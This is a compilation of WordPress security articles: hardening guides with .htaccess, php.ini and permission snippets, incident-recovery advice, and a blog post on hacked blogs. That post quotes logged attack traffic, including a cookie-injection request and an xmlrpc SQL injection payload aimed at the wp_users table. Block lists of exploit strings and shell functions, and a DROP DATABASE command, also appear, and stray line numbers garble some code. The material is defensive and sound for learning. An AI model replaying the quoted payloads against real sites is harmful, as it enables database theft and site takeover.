The vast majority of WordPress security problems are actually easy to control. The core of WordPress has come a long way and is a fairly secure system. It may come as a surprise to some but the developers take security seriously and release patches very quickly. One of the great things about WordPress is the ease of updating and the speed of the development cycle.
Most problems are due to either poor judgement by the end user, poorly coded themes and plugins, or bad hosting. This is the first part in a series of guides on how to secure
WordPress, so let start with something non technical.
The Basics
1. Keep your WordPress up to date.
The developers do not patch old versions, period. Keeping up to date with new patches is essential to having a secure site and in most cases you just click the update button.
2. Keep your home computer and WiFi connection secure.
This seems obvious but keyloggers and malware on your home computer/WiFi can easily compromise your site.
3. Get your plugins and themes from the official repository.
It is no secret, plugins & themes downloaded from Google or any random site are infe sted with malware. A recent study showed 8 of the top 10 Google results for ‘free
WordPress themes” have malware embedded in the code. Get your themes/plugins from a reputable source or the official repository. We only list exploits that are hosted on wordpress.org to better help the community. Getting your stuff from any random internet site is asking for trouble.
4. Choose a solid host.
A good host will not only back-up your site if your in a shared environment, but also prevent other sites on your server from cross infecting each other, which sadly is a common occurrence even with some of the larger hosts. They should also be competent enough to react to security issues directly through support.
5. Choose a really good password.
This is mostly a bad habit, but choosing a strong password is important. If you have problems remembering or losing your password, there are various browser extensions and third party applications that will do it for you.
6. Update your plugins and theme regularly
As you can see from the exploit section of this site, there are a lot of plugins with security issues, keeping them up to date with the latest developer patch is critical and simple.
Blog security 101, how to lock down your WordPress site. Most of these techniques are easy to implement for a beginner or recover from if something goes wrong. If your new to WordPress please read our basic guide before proceeding with this one.
1. Delete the Admin login
The default Admin login and privileges makes an easy target for any exploit. You should delete this user account right away. The steps:
1. Login with the default Admin account
2. Create a new user with a unique name with Admin privileges < — very important
3. Login with “new” user and delete the Admin user.
Note: This step can also be quickly done on a fresh install by changing the default user name to something other than “Admin”.
1. Change your WordPress Nickname
Bots will scrape your sites posts looking for author tags and then use the names it find as your login username, this is a very effective attack vector for guessing through brute force. In your
WP admin click your Profile or Users and add a Nickname ( or First Name) and then select
“Display name publicly as” something different from your actual login username!
2. Schedule regular backups
Regular backups are a must and having tiered backups is even better. That means backing up the WordPress database and also your server disk. There are several backup plugins and services that will back your data up. It is also very advisable to ask your host about disk based backups and remember to read the fine print.
3. Get some WordPress security keys
WordPress has implemented encrypted security keys for information stored in your cookies.
These keys go into your wp-config.php and you can find a random number key generator on the official wordpress.org site here https://api.wordpress.org/secret-key/1.1/salt/ . Hit refresh on your browser to get new keys and copy/paste the whole thing into your wp-config.php.
4. Rename the database prefix pre-installation only!
This is for PRE-INSTALL ONLY. We cover doing this to a live site in the advanced guide as doing this wrong will kill your site. If your starting with a fresh new install, you have an option during the install screen to change the database prefix. All default WordPress installs use the database prefix of “wp_” which makes any exploiter’s job much easier, change this prefix to
something unique.
5. Limit your plugin and theme use and delete unused ones.
Not only are many plugins and themes insecure but they can slow your site down to a crawl.
Limit your plugin use as much as you can, delete unused plugins and themes and keep them updated. Keeping your system clean not only reduces fingerprinting and rogue code from being exploited but if something does happen to infect your site, it is much easier to manage.
6. Move wp-config up one directory and lock it down
The wp-config.php file contains all your WordPress database credentials, you can move this file up one directory on your server, outside the web root which can protect it from any browser based attacks. It it also a good idea to change the permissions on it to 600.
7. Limit login attempts
Plugin use for security can be an afterthought, and relying on something to protect what is already insecure is bad practice. The plugin Limit Login Attempts on the other hand is very useful as it prevents too many failed logins to your site and locks out brute force attacks. It can even log IP’s that are failing to get in.
8. Check your file and directory permissions
File and directory permissions can be tricky depending on the host. In the majority of cases you want to have files set to 644 or 640 and folders set to 755 or 750. You should never have to set anything to .777 unless your host has been mis-configured, EVER! The golden rule with permissions is to set them as low as you can while keeping the site in working order.
9. Hide version info
Hiding the WP version info is a small step to prevent bots from crawling your site, it does not prevent fingerprinting, but every little bit helps. In your theme’s functions.php add the following:
3
4
5
?
1
2
// remove version info from head and feeds function complete_version_removal() {
return '';
} add_filter('the_generator', 'complete_version_removal');
10. Enable ssl login
Enable ssl login if your site has an ssl certificate. To enable ssl your site must be reachable by using https. You can enable this just for the login or for the whole Admin in your wp-config.php.
SSL login will encrypt the data you send to WordPress and is especially helpful to thwart manin-the-middle attacks.?
1
2
3
4
5
6
// this goes in your wp-config.php file
//
//for just the login
define('FORCE_SSL_LOGIN', true);
//for the whole admin define('FORCE_SSL_ADMIN', true);
11. Don’t allow search bots to browse your directories
Google search can crawl unwanted urls and expose them to hackers. It’s best to prevent
Google bot and any other bots that follow robots.txt ( not all of them do) from indexing anything but your content. The robot.txt goes in your site’s root folder and is just a text file.
1
2
3
4
5
6
7
8
User-agent: *
Disallow: /feed/
Disallow: /trackback/
Disallow: /wp-admin/
Disallow: /wp-content/
Disallow: /wp-includes/
Disallow: /xmlrpc.php
Disallow: /wp-
12. Disable user registration.
Yes you can disable user registration in the Admin, so if your running a small blog or CMS and don’t have multiple people sharing, go ahead and disable user registration completely under your General settings.
13. Basic .htaccess Rules
Some basic rules that you can add to your root .htaccess file, more advanced rules are covered in the advanced guide as messing around here can break your site, but these won’t do much other than protect you.?
4
5
6
7
1
2
3
8
9
10
11
12
13
14
15
16
17
18
19
20
//limit indexing of directories
Options All -Indexes
//protect the htaccess file,
//this is done by default with apache config file,
// but you never know.
<files .htaccess> order allow,deny deny from all
</files>
//disable the server signature
ServerSignature Off
//limit file uploads to 10mb
LimitRequestBody 10240000
// protect wpconfig.php.
//If you followed step 6 this is not necessary.
<files wp-config.php> order allow,deny deny from all
</files>
14. Delete the readme and any unnecessary files.
WordPress has a default readme.html, and many plugins and themes also come with one. It’s best to just delete them as they can be used for fingerprinting or general snooping and often contain version info. Also keep your folders clean of any junk files.
This is a more advanced guide to securing your WordPress site. Unlike our basic guidelines andSecurity 101 guide this stuff can and will break your site if implemented wrong.
Many of these rules assume you have WordPress running on Apache with mod_rewrite and mod_alias installed.
It is highly advisable to use this as a reference to further your knowledge and test some of these options on a dev site. Do not copy and paste any of this on a live site without testing!
1. Limit Admin access by IP
You can add another layer of protection by limiting the WP admin section by IP address in your
.htaccess file. If you have a dynamic IP address or your traveling you can sign up to a static IP service for a small monthly fee. This .htaccess must go in your admin folder, not the root path.
?
1
2
3 order deny,allow deny from all allow from xx.xx.xx.xx //( your static IP)
2. Limit Login access by IP
The login file, wp-login.php, does not reside in the admin folder, it is in the root so you can deny access to just the login by IP as well. This must be in the root .htaccess file/folder.
?
1
2
3
Order Deny,Allow
Deny from All
Allow from x.x.x.x //( your static IP)
3. Disable Trace and Track
HTTP Trace attack (XST) can be used to return header requests and grab cookies and other information and is used along with a cross site scripting attacks (XSS) . This can be turned off in your apache configuration file or through .htaccess with the following.
1 RewriteEngine On
2
3
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]
4. Forbid Proxy comment posting
This will deny any requests that use a proxy server when posting to comments eliminating some spam and proxy requests, script courtesy of perishablepress.com.
?
1
2
3
4
5
RewriteCond %{REQUEST_METHOD} =POST
RewriteCond %{HTTP:VIA}%{HTTP:FORWARDED}%{HTTP:USERAGENT_VIA}%{HTTP:X_FORWARDED_FOR}%{HTTP:PROXY_CONNECTION} !^$ [OR]
RewriteCond %{HTTP:XPROXY_CONNECTION}%{HTTP:HTTP_PC_REMOTE_ADDR}%{HTTP:HTTP_CLIENT_IP} !^$
RewriteCond %{REQUEST_URI} !^/(wp-login.php|wp-admin/|wp-content/plugins/|wp-includes/).* [NC]
RewriteRule .* - [F,NS,L]
5. Disable PHP settings
Please be aware some these settings will take away some functionality, these edits go in your php.ini file ( some shared hosting does not allow for editing the php.ini).
5
6
7
8
9
10
?
1
2
3
4 display_errors = Off //safe to disable on live site register_globals = Off //off by default but a good reminder to check expose_php = Off //safe to disable allow_url_fopen = Off //might break something allow_url_include = Off //might break something log_errors = On //logging errors is always a good idea if you check them error_log = /var/log/phperror.log
enable_dl = Off //might break something disable_functions="popen,exec,system,passthru,proc_open,shell_exec,show_source,php file_uploads = Off //will most likely break something
Highly advisable, at the very least, to turn display errors to off, many WP files ( some depreciated but still included) will return the path/location of your web root since they return an error on page load.
6. Enable Suhosin PHP
Suhosinis a PHP security hardening system the that protects against a variety of exploits and works with any normal PHP installation. Some PHP installs already bundle Suhosin, if you want to check if you have it installed create an empty php file and add
and then check it in your browser ( remember to delete this file when your done!). You php info file should show something like the following:
To install Suhosin you can follow the guidelines here: Install Suhosin < —
7. Remove WordPress header outputs
WordPress can add a lot of stuff in your header for various services, this will remove everything, but take care, it also removes some functionality ( for instance if someone is looking for your
RSS feed). If you want to keep some just comment the line out.
4
5
6
?
1
2
3
7
8
9
10
11
12
// remove junk from head remove_action('wp_head', 'feed_links', 2); remove_action('wp_head', 'feed_links_extra', 3); remove_action('wp_head', 'rsd_link'); remove_action('wp_head', 'wlwmanifest_link'); remove_action('wp_head', 'index_rel_link'); remove_action('wp_head', 'parent_post_rel_link', 10, 0); remove_action('wp_head', 'start_post_rel_link', 10, 0); remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0); remove_action('wp_head', 'wp_generator'); remove_action('wp_head', 'wp_shortlink_wp_head', 10, 0); remove_action('wp_head', 'noindex', 1);
8. Remove l10n script (added in WP 3.1)
This script help translate comments entities.
?
1
2
3 if (!is_admin()) {
wp_deregister_script('l10n');
}
9. Hide hard urls, use relative ones https://gist.github.com/2315279
10. Hide /wp-content/
https://gist.github.com/2315295
11. Deny bad query strings
This script goes in your .htaccess and will attempt to prevent malicious string attacks on your site (XSS). Please be aware some of these strings might be used for plugins or themes and doing so will disable the functionality. This script from perishablepress is fairly safe to use and should not break anything important. A more advanced one can be found on askapache.com.
5
6
7
8
9
10
11
12
13
14
?
1
2
3
4
# QUERY STRING EXPLOITS
RewriteCond %{QUERY_STRING} ../ [NC,OR]
RewriteCond %{QUERY_STRING} boot.ini [NC,OR]
RewriteCond %{QUERY_STRING} tag= [NC,OR]
RewriteCond %{QUERY_STRING} ftp: [NC,OR]
RewriteCond %{QUERY_STRING} http: [NC,OR]
RewriteCond %{QUERY_STRING} https: [NC,OR]
RewriteCond %{QUERY_STRING} mosConfig [NC,OR]
RewriteCond %{QUERY_STRING} ^.*([|]|(|)||'|"|;|?|*).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%22|%27|%3C|%3E|%5C|%7B|%7C).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F|127.0).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(globals|encode|config|localhost|loopback).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(request|select|insert|union|declare|drop).* [NC]
RewriteRule ^(.*)$ - [F,L]
15
12. Delete default MySQL “test” database
MySQL installs with a default database, it is very advisable that you delete this as it allows for any user role access, also delete any other unused databases and users.
?
1 mysql> DROP DATABASE test;
13. Fingerprint source code and header removal
Many plugins and themes write information into the source code, and some even write info directly to your HTTP headers. This can be used to fingerprint which version and plugins you are using. There is no easy way to get rid of this info, sometimes there is a action filter you can use but more often then not you have to dive in and directly edit the files. There are some caching and minify plugins that remove source code comments but they do not work 100% of the time. PHP 5.3 also has a new header function that can sometimes be effective, this example shows how to remove the x-poweredby header if it is set to “geuss”.
?
1 header_remove('x-powered-by', guess);
14. Disable non WordPress attack vectors
You can disable non WordpPress services running on your server. For instance some attack vectors go straight for your phpMyAdmin, which can compromise you entire server with full access. For the truly paranoid you should disable services like phpMyAdmin, Cpanel, Webmin,
FTP, or anything else that might allow entry, and lock down all ports to only allow access to
HTTP 80.
15. Use Apache authorization for access
You can restrict site usage, say for your admin section, based on apache authorization and password files and groups. This process is to detailed to go into here, so have a look at the official docs,http://httpd.apache.org/Auth.
Another option is to check out askapache.com’s wordpress plugin that interfaces directly with this AskApache Password Protect.
16. PHP intrusion detection
PHPIDS is an intrusion detection layer for PHP run by http://phpids.org/ that blocks malicious code from doing nasty things to your site. It is especially useful if your site has any user submitted content forms such as comments and contacts. They even have a demo where you can test malicious scripts,http://demo.phpids.org/
The cool thing about PHPIDS is that it is constantly updated through an XML feed and there is a
WordPress plugin that works directly with the updates, it even logs intrusion attempts. It is called
Mute Screamer and can be found here http://wordpress.org/extend/plugins/mute-screamer/
17. Change the database prefix on a live site
As mentioned in the basic guide WordPress installs with a default database prefix (‘wp_”) which can be used by bots and attackers to gain access to your database by easily guessing your database names. Changing the prefix on a live site can be a scary task so proceed with caution.
There are many methods to do this and even some plugins, it is advisable to do some research and testing before hand. Below I have outlined the steps for a manual change where you download the dump and change the text with a text editor as a “safe method”, alternatively you can do this directly in MySQL.
1. Make a complete database dump through MySQL ( not through the WordPress admin).
2. Copy the dump into 2 files, one backup that you don’t touch, and 1 for editing.
3. Use a solid text editor to find/replace all instances of “wp_” with your new prefix on the dump you want to edit.
4. De-activate your plugins.
5. Turn on maintenance mode at an hour when traffic is low.
6. Drop your old database and impo rt your edited one with the new prefix’s
7. Change your database settings in wp-config.php to the new prefix.
8. Re-activate your plugins
9. Refresh your permalink structure by hitting save ( even without changing structure)
10. Cross your fingers.
18. Additional resources and Links
Perishable Press maintains a great security section and a blacklist of referrers –>blacklist.txt
AskApache, everything you ever wanted to know and more about apache, file permissions,
WordPress and .htaccess.
Check out our Server Guide for locking down your OS.
19. Character string filter for .htaccess
6
7
8
9
10
11
12
1
2
3
4
5
13
14
15
16
17
18
19
20
21
I left this to the end due to the length, this blocks bad character matches ( mostly XSS) from messing about with your site, this goes in your root .htaccess file, some strings might break functionality.
<fModule mod_alias.c>
RedirectMatch 403 ^
RedirectMatch 403 `
RedirectMatch 403 {
RedirectMatch 403 }
RedirectMatch 403 ~
RedirectMatch 403 "
RedirectMatch 403 $
RedirectMatch 403 <
RedirectMatch 403 >
RedirectMatch 403 |
RedirectMatch 403 ..
RedirectMatch 403 //
RedirectMatch 403 %0
RedirectMatch 403 %A
RedirectMatch 403 %B
RedirectMatch 403 %C
RedirectMatch 403 %D
RedirectMatch 403 %E
RedirectMatch 403 %F
RedirectMatch 403 %22
RedirectMatch 403 %27
RedirectMatch 403 %28
RedirectMatch 403 %29
RedirectMatch 403 %3C
RedirectMatch 403 %3E
47
48
49
50
51
52
43
44
45
46
53
54
55
56
57
58
59
60
61
36
37
38
39
40
41
42
26
27
28
29
22
23
24
25
30
31
32
33
34
35
RedirectMatch 403 %3F
RedirectMatch 403 %5B
RedirectMatch 403 %5C
RedirectMatch 403 %5D
RedirectMatch 403 %7B
RedirectMatch 403 %7C
RedirectMatch 403 %7D
# COMMON PATTERNS
Redirectmatch 403 _vpi
RedirectMatch 403 .inc
Redirectmatch 403 xAou6
Redirectmatch 403 db_name
Redirectmatch 403 select(
Redirectmatch 403 convert(
Redirectmatch 403 /query/
RedirectMatch 403 ImpEvData
Redirectmatch 403 .XMLHTTP
Redirectmatch 403 proxydeny
RedirectMatch 403 function.
Redirectmatch 403 remoteFile
Redirectmatch 403 servername
Redirectmatch 403 &rptmode=
Redirectmatch 403 sys_cpanel
RedirectMatch 403 db_connect
RedirectMatch 403 doeditconfig
RedirectMatch 403 check_proxy
Redirectmatch 403 system_user
Redirectmatch 403 /(null)/
Redirectmatch 403 clientrequest
Redirectmatch 403 option_value
RedirectMatch 403 ref.outcontrol
# SPECIFIC EXPLOITS
RedirectMatch 403 errors.
RedirectMatch 403 config.
RedirectMatch 403 include.
RedirectMatch 403 display.
RedirectMatch 403 register.
Redirectmatch 403 password.
RedirectMatch 403 maincore.
RedirectMatch 403 authorize.
Redirectmatch 403 macromates.
RedirectMatch 403 head_auth.
RedirectMatch 403 submit_links.
RedirectMatch 403 change_action.
Redirectmatch 403 com_facileforms/
RedirectMatch 403 admin_db_utilities.
RedirectMatch 403 admin.webring.docs.
Redirectmatch 403 Table/Latest/index.
</IfModule>
july 26, 2012 by daniel cid 5 comments and 0 reactions
The biggest problem today with most content management systems (CMS) and web applications is the adoption of what we call the “Win95 security model”. Do you remember the Windows 95 security model? With everything running under the admin role? No separation of privileges? No separation of processes? One vulnerability and you take it all?
Confused as to how this relates to today’s CMS’s (including WordPress, Joomla, and others)? Let us explain using WordPress as an example (most popular CMS out there):
1.
The user that is running WordPress (including any plugin or theme) can modify any file on the site.
2.
Any URL can be accessed directly, even when they are not supposed to be used that way.
3.
The admin panel (wp-admin) runs in the same domain and within the same codebase/permissions as the rest of the application.
4.
Admin users can install any plugin/theme, which can then modify any file and change anything in the database
5.
Most users log in as admin, even though they don’t need “admin” access most of the time.
6.
Every plugin and theme has the same level of access (and permissions) as the core of the application (no separation of privileges).
Yes, this is the default and most common way to install WordPress, specifically on shared hosts. Why you ask? It is easy to install and configure, but definitely not to be confused with the correct or secure approach to installing any application.
Imagine, it’s like having one username and password for all your accounts… oh… wait…
I should preface this by saying that this won’t apply to shared environments, sorry…
But if you’re on a dedicated (or VPS) environment you’re in luck so read on.
The user running WordPress (generally www-data or apache ) should not have permissions to modify any file.
That protects you in case there is a vulnerability in any plugin, theme (or even in
WordPress itself), since they won’t be able to modify anything.
Fortunately, there is an easy fix but one that many won’t use. In most instances
WordPress is running as apache/apache , default webserver roles, and what you want to do is create a new user that will assume that role, disallowing the webserver user from having those rights.
To do this, this is what you have to do:
# adduser wordpressuser
# cd /var/www/pathtoyoursite
# chown -R wordpressuser .
# chmod -R 750 .
# chgrp -R apache .
This makes it so that only the wordpressuser user is the only one with with write permissions to your site directory.
Now, we all know that the only directory that needs to be writeable is the uploads directory in WordPress. So, to accomodate this we make some slight modifications that adds a rule allowing our beloved Apache user to write to that directory:
# chmod -R 770 ./wp-content/uploads/
Now, to ensure that we’re taking every precaution possible we turn to our .htaccess file to protect us from the injection of backdoors. You’ll want to create the .htaccess file inside the /wp-content/uploads directory: php_flag engine off and
<Files *.php> deny from all
</Files>
InfoSec is about risk reduction, by taking these additional steps you have now greatly reduced the inherent access control risk associated with default WordPress installations. Do note however that this is not isolated to WordPress, these can also be applied to Joomla, Drupal and other such CMS applications.
Disclaimer for my colleagues: Doing this change will require you to take a more proactive approach to the administration of your site. You won’t be able to use the pretty GUI’s WordPress offers you, you’ll have to manually update your core, themes, and plugins. But trust me, it’s ok, it’s only slightly inconvenient.
WordPress has many files, but very few of them need to be accessed directly by the users. To prevent files being accessed directly, we recommend blocking direct PHP access to /wp-content with the following additions to your .htaccess file:
<Files *.php> deny from all
</Files>
An example of how this would have been useful, let’s think back to the TimThumb outbreak last year or even this year’s Uploadify discussions. Killing the execution of
PHP in /wp-content would have and will protect you from both these known vulnerabilities.
3- Correcting Application Access Control
The admin panel (wp-admin) runs on the same domain and same privileges as the rest of the application. In a perfect world, it would be isolated, but to minimize issues, we recommend adding two restrictions to wp-admin access (via .htaccess):
3.1- Only allowing certain IP addresses: order allow, deny allow from IP1 allow from IP2 deny from all
3.2- Adding an additional user/pass (pre-authentication):
AuthUserFile /var/www/mysite/.htpasswd
AuthName “Site private access”
AuthType Basic require user myuser2
By adding those two restrictions, you isolate wp-admin, requiring additional permissions and again, improve the security model. Hope you’re starting to get the trend of the post.
4- Restrict admin access to only required users
On the old days of Windows, everyone was admin. Don’t do the same on WordPress.
If someone needs to write posts, they only need author permission. If someone needs to edit/post articles, he only needs editor permission.
There is a reason that out of the box WordPress provides varying degrees of roles and associated permissions, use them. We realize they may be a bit complex and difficult to understand, hopefully this helps:
Administrator – can do everything
Editor – They write stuff, more importantly they can publish
Contributor – The Author’s cousin, but they can’t publish
Subscriber – They follow your rants about your favorite past times but can’t do anything else
Logging in as Admin for every task is foolish, don’t be that person.
Above we addressed 4 steps, that if employed, covers 5 distinct sections in the security model I prefaced the post with:
1.
The user that is running WordPress (including any plugin or theme) can modify any file on the site
2.
Any URL can be accessed directly, even when they are not supposed to be used that way
3.
The admin panel (wp-admin) runs in the same domain and within the same codebase/permission as the rest of the application.
4.
Admin users can install any plugin/theme, which can then modify any file or change anything in the database
5.
Most users log in as admin, even though they don’t need “admin” access most of the time
By employing some, ok all of the recommendations above you have effectively disabled WordPress from modifying its own files, admin users no longer have write permission to all files, and the themes / plugins can’t modify everything. Why are these three areas important? Well, because they are the most exploited vectors to date.
If you think this is all, you’re wrong, I would prefer to see updates where the plugins / themes no longer have the same level of permissions as the core of the application and their ability to have full database access (read/write) are dismissed, but, I don’t want to give the appearance that I’m paranoid.
But seriously, in a perfect set up, you would have at least 2 database users, one configured on wp-admin with write access, and one for the rest of the site with only read access. I’m just saying..
So you've carefully installed WordPress , you've made it look exactly how you like with a decent theme , you've maybe installed some fancy plugins and you've crafted some fine posts and Pages. In short, you've put a lot of time and effort into your site.
Then, one day, you load up your site in your browser, and find that it's not there, or it redirects to a porn site, or your site is full of adverts for performance-enhancing drugs. What do you do?
Stay calm.
You have to stay calm to be able to deal with this situation. The first step before you respond to any security incident is to calm yourself down to make sure you do not commit any mistakes. We are serious about it.
Scan your local machine.
Sometimes the malware was introduced through a compromised desktop system. Make sure you run a full anti-virus/malware scan on your local machine. Some viruses are good at detecting AV software and hiding from them. So maybe try a different one. This advice generally only applies to Windows systems.
Another way is unhide all the files and folders and unhide the extensions of all the files, run a search for *.exe files, sort them by size, most malicious code is executable and is lesser than 5MB usually but can be > 5MB. Also not every .exe under 5MB is malicious, delete the known viruses/worms/autoruns, make a list of all suspected executables, check against online database.
Caution: Make sure you don't delete the system files.
Securelist has an article on how to find an infected file.
Check with your hosting provider.
The hack may have affected more than just your site, especially if you are using shared hosting. It is worth checking with your hosting provider in case they are taking steps or need to. Your hosting provider might also be able to confirm if a hack is an actual hack or a loss of service, for example.
Change your passwords.
Change passwords for the blog users, your FTP and MySQL users.
Change your secret keys.
If they stole your password and are logged in to your blog, even if you change your password they will remain logged in. How? because their cookies are still valid. To disable them, you have to create a new set of secret keys. Visit the WordPress key generator to obtain a new random set of keys, then overwrite the values in your wpconfig.php file with the new ones.
Take a backup of what you have left.
If your files and database are still there, consider backing them up so that you can investigate them later at leisure, or restore to them if your cleaning attempt fails. Be sure to label them as the hacked site backup, though...
Read some good blog posts on what to do.
Donncha wrote a good article on what to do if you suspect a hack , it is well worth reading through and acting on, as it goes into more depth than this page. You can also read How to clean your hacked install and Removing malware from a WordPress blog which explain in details some steps you might need to take.
Using version control?
If you are using version control, it can be very handy to quickly identify what has changed and to rollback to a previous version of the website. From the terminal or command line you can compare your files with the versions stored in the official
Wordpress repository.
$ svn diff .
Or compare a specific file: $ svn diff /path/to/filename
Check your .htaccess file for hacks.
Hackers can use your .htaccess to redirect to malicious sites from your URL. Look in the base folder for your site, not just your blog's folder. Hackers will try to hide their code at
the bottom of the file, so scroll down. They may also change the permissions of the
.htaccess file to stop newbies from editing the file. Change the permissions back to 644.
Consider deleting everything.
A sure way to remove hacks that currently exist, is to delete all the files from your web space, and clear out your WordPress database. Of course, if you do this, you would need backups to restore from, so ...
Consider restoring a backup
If you restore from a known clean backup of your WordPress Database, and re-upload your backed up WordPress plugin and theme files through FTP or SFTP, that will ensure that all those bits are clean of malicious code are gone. At the very least ...
What? No backup?
You have two very grim choices. You can start a new fresh site from scratch. You can attempt to manually locate and remove the malicious code. Even the chances of an expert being able to completely clean your site are poor. Someone can spend days looking through files, removing small snippets of hacker code. If they miss one bit, the entire hack can be replaced by the hacker in a second once the site goes online. Read about backdoors to get an idea of what you're up against. If you're reading this and have not yet been hacked and have not backed up your site, go do it NOW!
Replace the core WordPress files with ones from a freshly downloaded zip .
Replacing all your core files will ensure that they are no longer left in a hacked state. If you didn't already restore backup copies of your plugin and theme files, replace them too.
Upgrade!
Once you are clean, you should upgrade your WordPress installation to the latest software . Older versions are more prone to hacks than newer versions.
Change the passwords again!
Remember, you need to change the passwords for your site after making sure your site is clean. So if you only changed them when you discovered the hack, change them again now.
Secure your site.
Now that you have successfully recovered your site, secure it by implementing some (if not all) of the recommended security measures . Learn more about where WordPress is most vulnerable .
Do a post-mortem.
Once your site is secured, check your site logs to see if you can discover how the hack took place. Open source tools like OSSEC can analyze your logs and point to where/how the attack happened.
Keep regular backups.
Now that the nightmare is over, start keeping regular backups of your database and files .
If this ever happens again, all you will need to do is restore from the last know clean backup and change your passwords and secret keys.
382 Replies
Remember a few weeks ago there was all that noise about WordPress blogs getting hacked? Remember how everyone was urged to upgrade their blogs. You did upgrade didn’t you? No? It was inevitable that you’d be hacked. If you haven’t been hacked yet, it’s only a matter of time.
Unfortunately for some who did upgrade, it was too late. The hacker slimeballs may have known about the security issues before we did and went about their merry way breaking into blogs and websites, grabbing usernames and passwords, and planting backdoor scripts to log them in again at a later date.
That’s how even diligently upgraded blogs were hacked. The bad guys got there before you.
In the last week the hackers have started again. There is no zero day WordPress exploit.
There is no evidence that version 2.5.1 of WordPress is vulnerable to any exploit at this time. They’re using the old exploits all over again. This time they’re redirecting hits from
Google to your blog. Those hits are instead being redirected to your-needs.info and anyresult.net
If you’ve been hacked
1.
Upgrade to the latest version of WordPress.
2.
Make sure there are no backdoors or malicious code left on your system. This will be in the form of scripts left by the hacker, or modifications to existing files. Check your theme files too.
3.
Change your passwords after upgrading and make sure the hacker didn’t create another user.
4.
Edit your wp-config.php and change or create the SECRET_KEY definition. It should look like t his, but do not use the same key or it won’t be very secret, will it? define(‘SECRET_KEY’, ’1234567890 ′
);
Hidden Code
The bad guys are using a number of ways to hide their hacks:
The simplest way is hiding their code in your php scripts. If your blog directory and files are writable by the webserver then a hacker has free reign to plant their code anywhere they like. wp-blog-header.php seems to be one place. Theme files are another. When you upgrade WordPress your theme files won’t be overwritten so make sure you double check those files for any strange code that uses the eval() command, or base64_decode()
. Here’s a code snippet taken from here :
< ?php
Another hack adds different code to your php files. Look for k1b0rg or keymachine.de in your php scripts and remove that offending code if you find it.
Check your .htaccess file in the root of you blog. If you've never edited it, it'll should look like this:
# BEGIN WordPress
<ifmodule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</ifmodule>
# END WordPress
That file may have this chunk of code too which is to do with the uploader:
<ifmodule mod_security.c>
<files async-upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</files>
</ifmodule>
They're also uploading PHP code disguised as jpeg files to your upload directory and adding those files to the activated plugins list. This makes it harder to find them, but not impossible:
1.
Open PHPMyAdmin and go to your blog's options table and find the active_plugins record.
2.
Edit that record. It's a long line. Scroll through it and you'll find an entry that looks like ../uploads/2008/05/04/jhjyahjhnjnva.jpg. Remove that text, and make sure you remove the serialized array information for that array record. If that's beyond you, just delete the active_plugins record and reactivate all your plugins again.
3.
Check your uploads directory for that jpg file and delete it.
4.
This Youtube video shows how to do that. I don't think there's any urgent need to remove the rss_* database record but it won't hurt to do it.
Change Your Passwords
Once you've upgraded and verified that your install is clean again you must do the following:
1.
Change the passwords of all users on your system.
2.
Make sure the hacker hasn't added another user account he can use to login again.
Stop the bad guys
One way of stopping the bad guys before they've done any major damage is by doing regular backups and installing an intrusion detection system (IDS).
I use Backuppc to backup all my servers every night, and a simple MySQL backup script to dump the database daily.
The first IDS that springs to mind is Tripwire but there are many others. I just installed AIDE to track changes on this server. What it does is give me a daily report on files that have changed in that period. If a hacker has changed a script or uploaded malicious code I'll get an email within a day about it. It does take some fine tuning, but it's easy to install on Debian systems (and presumably as easy on
Ubuntu and Red Hat, and even Gentoo..):
# apt-get install aide
# vi /etc/aide/aide.conf.d/88_aide_web
# /usr/sbin/aideinit
In the configuration file above I put the following:
/home/web/ Checksums
!/home/www/logs/.*
!/home/web/public_html/wp-content/cache/.*
!/home/web/.*/htdocs/wp-content/cache/.*
That will tell AIDE to track changes to my web server folders, but ignore the logs folder and cache folders.
Please Upgrade
There is absolutely no reason not to upgrade. WordPress is famous for it's 5 minute install, but it takes time and effort to maintain it. If you don't want the hassle of upgrading, or don't know how to maintain it, why not get a hosted WordPress account at WordPress.com
?
Does the $10 you make from advertising every month really justify the time it takes to make sure your site, your writing, your photos and other media are safe? This isn't an advert for
WordPress.com, go with any blogging system you like, but don't make life easy for the scum out there who'll take over your out of date software and use it to their advantage.
Help a friend
Check the source code of the blogs you read. The version number in the header will quickly tell you if their version of WordPress is out of date or not. Please leave a comment encouraging them to upgrade! The version number looks like this:
<meta name="generator" content="WordPress 2.5.1" /> <!-- leave this for stats -->
What does a hack look like?
I perform logging on one of my test blogs and I come across all sorts of malicious attempts to break in. Attackers use dumb bots to do their bidding so a website will be hit with all sorts of attacks, even for software that's not installed. The bots are so dumb they'll even come back again and again performing the same attacks.
Here's what I call the "ekibastos attack". It happens over a number of requests and I've seen it come from 87.118.100.81 on a regular basis. It uses a user agent called,
"Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)" which strangely enough doesn't show up on Google at all right now.
1.
First the attacker visits your Dashboard, and then without even checking if that was successful, he tries to access wp-admin/post.php several times using HEAD requests.
2.
Then he POSTs to wp-admin/admin-ajax.php with the following POST body:
POST: Array
(
[cookie] => wordpressuser_c73ce9557defbe87cea780be67f9ae1f=xyz%27; wordpresspass_c73ce9557defbe87cea780be67f9ae1f=132;
)
3.
When that fails, he grabs xmlrpc.php.
4.
He then POSTs to that script, exploiting an old and long fixed bug. Here's a snippet of the data.
HTTP_RAW_POST_DATA: <?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>pingback.extensions.getPi
ngbacks</string></value></member>
<member><name>params</name><value><array><data>
<value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT
10048,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE
ID=1%2F*</string></value>
</data></array></value></member></blockquote>
5.
That fails too so the query is repeated with similar SQL.
<value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT
